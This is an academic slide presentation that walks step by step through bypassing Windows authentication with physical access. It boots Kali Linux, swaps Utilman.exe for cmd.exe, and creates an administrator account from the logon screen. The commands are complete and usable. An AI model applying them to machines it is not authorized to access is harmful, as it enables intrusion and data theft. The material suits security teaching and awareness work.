# Penetrating Windows Operating Systems

Ghodrat Moghadampour, PhD
mg@vamk.fi
Principal Lecturer
Vaasa University of Applied Sciences
Vaasa
Finland

# Objectives

- The objective of this presentation is to demonstrate how insecure Windows operating systems are and how vulnerable their users are
- The presentation goes through step by step actions to penetrate the Windows operatin system
- The aim is to show that despite the authentication module of Windows operating systems, they are easily penetrable and therefore the data residing on them can be easily accessed by unauthorized users

# Background

- By estimation there are more than **1 billion Windows-powered PCs** in use in the world (https://www.theverge.com/2017/4/4/15176766/apple-microsoft-windows-10-vs-mac-users-figures-stats)
- This means there are enormous amount of data saved on these machines, which need to be secured, but are potentially at risk
- The reality however is something far from users' exepctations

# Preparations

- Download Kali Linux ISO image ( http://cdimage.kali.org/kali-weekly/)
- Make a bootable USB
  - using PowerISO (http://www.poweriso.com/download.php)
  - using Universal-USB-Installer (https://www.freewarefiles.com/Universal-USB-Installer_program_74589.html)
- Restart the computer and make it boot from USB

# Mounting Drive

- Run Kali Linux
- Login as root to the Linux system
- Use the following command to mount Windows partition to an existing directory like in the following way:

*mount -t ntfs-3g /dev/sdaX /dev/mount*

- , where X is the number of bootable partition

# Configuration

- Move to the *temp* directory and from there to *Windows\System32* directory
- Create a backup of the *Utilman.exe* (Windows utility manager) file:
  - *mv Utilman.exe Utilman.bak*
- Rename **cmd.exe** as **Utilman.exe**
  - *mv cmd.exe Utilman.exe*
- Move back to the root directory:
  - *cd*

# Unmounting

- Use the following command to unmount the Windows partition (X is the number of the partition)
  - *umount /dev/sdaX*
- Reboot the system:
  - *reboot*

# Creating New User Accounts

- When the logon window appears press **Windows key and letter U** from the keyboard at the same time to start the command prompt.
- After starting the command prompt we can run any command in it.
- To create a new user account in the Command Prompt (like Username: *testuser*, Password: *testpswd*), and add them to the Administrators usergroup we type:
  - **net user** *testuser testpswd* **/add**
  - **net localgroup Administrators** *testuser* **/add**

# Cleaning

- To restore **utilman.exe**, in the Command Prompt type in:
  - **cd** windows\system32
  - **ren** *utilman.exe cmd.exe*
  - **ren** *utilman.bak utilman.exe*
- Then reboot the system.
- To remove the new user account we just created earlier, type:
  - **net user** *testuser* **/delete**

# Thank you!

☺